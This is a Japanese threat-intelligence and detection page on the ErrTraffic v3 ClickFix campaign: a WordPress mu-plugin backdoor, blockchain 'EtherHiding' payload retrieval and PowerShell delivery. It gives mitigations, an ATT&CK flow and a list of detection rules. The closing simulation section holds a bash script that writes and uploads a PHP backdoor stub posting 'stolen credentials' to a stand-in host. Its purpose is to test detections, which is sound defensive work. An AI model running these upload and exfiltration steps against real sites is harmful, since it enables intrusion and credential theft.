ErrTraffic v3 は ClickFix キャンペーンで EtherHiding を活用
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートでは、ErrTraffic v3 ツールを使用して WordPress サイトを侵害し、mu‑plugin バックドアをインストールする新しいキャンペーンについて説明しています。バックドアは難読化された JavaScript を注入し、ブロックチェーンベースの EtherHiding 技術によって追加のペイロードを取得します。最終段階では、被害者のブラウザに暗号化された PowerShell ペイロードを含む OS 固有の悪意のあるコードを配信します。ハードコーディングされたキーのような運用セキュリティの誤りはインフラストラクチャを明らかにします。
調査
LevelBlue SpiderLabs は WordPress の mu‑plugin バックドア、埋め込まれた JavaScript ビーコン、および ErrTraffic V3 コントロールパネルを調査しました。静的 XOR キー、Base64 デコード、および Polygon RPC ノードへのスマートコントラクトコールの使用を追跡しました。この分析では、API 通信に使用されるハードコーディングされた認証キーを特定し、いくつかのバレットプルーフプロバイダーに渡るホスティングインフラストラクチャをマッピングしました。
緩和策
防御者は mu‑plugin バックドアを削除し、知られている悪意のある TLD や IP 範囲をブロックし、ハードコーディングされた API キーの使用を監視し、ブロックチェーン RPC エンドポイントへの発信接続を制限するべきです。WordPress インストールを定期的に監査して予期しない mu‑plugin を確認し、ファイルの整合性を検証してください。Web アプリケーションファイアウォールを展開し、ビーコン性のある JavaScript のパターンを検出します。
対応
検出時には、影響を受けた Web サーバーを隔離し、バックドアファイルを削除し、すべての管理者資格情報をローテーションしてください。識別された悪意のあるドメインと RPC エンドポイントをネットワーク境界でブロックします。ダウンロードされたペイロードを特定するために完全な法医学的レビューを実施し、開示された API トークンを使用した継続的な C2 活動を監視します。
"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>アクション</b> – <b>T1659 コンテンツ注入</b><br/>WordPress サイトを悪用して悪意のある mu‑plugin をアップロード (session‑manager.php)"] class step_initial_access action step_persistence["<b>アクション</b> – <b>T1671 クラウドアプリケーション統合</b> / <b>T1525 内部イメージのインプラント</b><br/>各リクエストで実行される mu‑plugin としてバックドアがインストールされる"] class step_persistence action step_credential_access["<b>アクション</b> – <b>T1056.003 インプットキャプチャー</b><br/>注入された JavaScript が管理者資格情報を捕捉し、攻撃者に送信する"] class step_credential_access action step_c2["<b>アクション</b> – <b>T1102.003 Web サービス一方向通信</b><br/>ビーコンが visitor data を navigator.sendBeacon を通じて攻撃者のドメインへ送信する"] class step_c2 action step_obfuscation["<b>アクション</b> – <b>T1027 難読化されたファイル</b><br/>ペイロードが Base64 および XOR でエンコードされ、インラインスクリプトに埋め込まれる"] class step_obfuscation action step_smart_contract["<b>アクション</b> – <b>T1059.009 クラウド API</b><br/>スクリプトが Polygon RPC エンドポイントおよびスマートコントラクト (EtherHiding) を問い合わせ、URL を取得する"] class step_smart_contract action step_dead_drop["<b>アクション</b> – <b>T1102.001</b><br/>ブロックチェーンをデッドドロップとして C2 設定を使用する"] class step_dead_drop action step_encrypted["<b>アクション</b> – <b>T1573.001 対称暗号化</b><br/>API トラフィックが AES‑GCM または RC4 を使用してハードコーディングされたキーで暗号化される"] class step_encrypted action step_execution["<b>アクション</b> – <b>T1059.001 PowerShell</b><br/>ダウンローダーが一時ディレクトリを作成し、実行ファイルを書き込み OS 特有のペイロードを取得する"] class step_execution action step_priv_esc["<b>アクション</b> – <b>T1546.016 インストーラーパッケージ</b><br/>PowerShell スクリプトがインストーラーパッケージとして登録され、足場を維持する"] class step_priv_esc action %% Connections step_initial_access –>|から始まる| step_persistence step_persistence –>|を有効にする| step_credential_access step_credential_access –>|を提供する| step_c2 step_c2 –>|を使用する| step_obfuscation step_obfuscation –>|を促進する| step_smart_contract step_smart_contract –>|を格納する| step_dead_drop step_dead_drop –>|を届ける| step_encrypted step_encrypted –>|をサポートする| step_execution step_execution –>|を有効にする| step_priv_esc "
攻撃フロー
検出
疑わしいコマンドラインが UNC パスを引数として持つ実行可能ファイルを含む (結合による)
表示
コマンドラインにおける可能な ClickFix 攻撃パターン (結合による)
表示
疑わしいディレクトリでプロセスを実行する可能性のある PowerShell (結合による)
表示
PowerShell から疑わしい .NET メソッドを呼び出す (PowerShell 経由)
表示
PowerShell の難読化指標の可能性 (PowerShell 経由)
表示
C2 チャンネルとしての可能な Publicnode Ethereum の乱用試み (dns_query 経由)
表示
疑わしいコマンド & コントロール (コマンド & スロット) の不通常が最上位ドメイン (TLD) DNS リクエスト (dns 経由)
表示
強制された TLS 1.2 使用 [Windows PowerShell] を伴う難読化された PowerShell ペイロードの検出
表示
埋め込まれた JavaScript と WordPress バックドアの検出 [Webサーバー]
表示
侵害された WordPress サイトでの ErrTraffic V3 アクティビティの検出 [Webサーバー]
表示
シミュレーション実行
前提条件: テレメトリーおよびベースラインの事前チェックが合格していること。
理由: このセクションは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳細に説明しています。コマンドとナラティブは確実に識別された TTP を直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または関連のない例は誤診につながります。
-
攻撃ナラティブ & コマンド:
攻撃者が WordPress 管理者アカウントを侵害し、悪意のある PHP ファイルをアップロードしましたsession-manager.phpを webroot に。ファイルには無害に見える HTML セクションが含まれており、その末尾にはインライン<script>ブロックでのコメントは次のように表示されます “セクションの末尾に埋め込まれた JavaScript”。スクリプトは、クラウドストレージ バケットへのデータ流出を密かに行います(これはcurlPOST によってシミュレート)。navigator.sendBeacon()の使用はなく、リクエストはルールの検出範囲内に留まります。- 悪意のあるバックドアのアップロード:
curl -u admin:password -F "file=@session-manager.php" "http://target.example.com/wp-admin/async-upload.php" - バックドアをトリガーする(検出トリガーのテレメトリを生成):
curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
- 悪意のあるバックドアのアップロード:
-
リグレッションテストスクリプト:
#!/usr/bin/env bash # # 悪意のある WordPress バックドアをアップロードおよび呼び出すシミュレーション # に Sigma ルールが監視する正確なフレーズが含まれている。 # set -euo pipefail TARGET="http://target.example.com" ADMIN_USER="admin" ADMIN_PASS="password" # 1. 悪意のある PHP ペイロードをローカルに作成 cat > session-manager.php <<'EOF' <?php // セクションの末尾に埋め込まれた JavaScript echo "<!DOCTYPE html><html><body>"; echo "<script>/* 悪意のあるコード */</script>"; echo "</body></html>"; // 簡単な流出スタブ(sendBeacon は使っていない) if ($_GET['cmd'] === 'exfiltrate') { $data = base64_encode('stolen_credentials'); $url = "https://malicious-storage.example.com/upload"; $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data)))); $context = stream_context_create($options); file_get_contents($url, false, $context); } ?> EOF # 2. WordPress の非同期アップロードエンドポイントを通じてペイロードをアップロード curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" "${TARGET}/wp-admin/async-upload.php" >/dev/null echo "[+] 悪意のある session-manager.php をアップロードしました" # 3. 検出可能なトラフィックを生成するバックドアを起動 curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null echo "[+] バックドアをトリガーしました - 検出のテレメトリが現在存在するはずです" # 4. オプション: SIEM インジェスト用に一時停止 sleep 5 -
クリーンアップコマンド:
# サーバーから悪意のあるファイルを削除する(管理者 SSH アクセスが必要) ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php" echo "[+] クリーンアップ完了 – バックドア削除済み"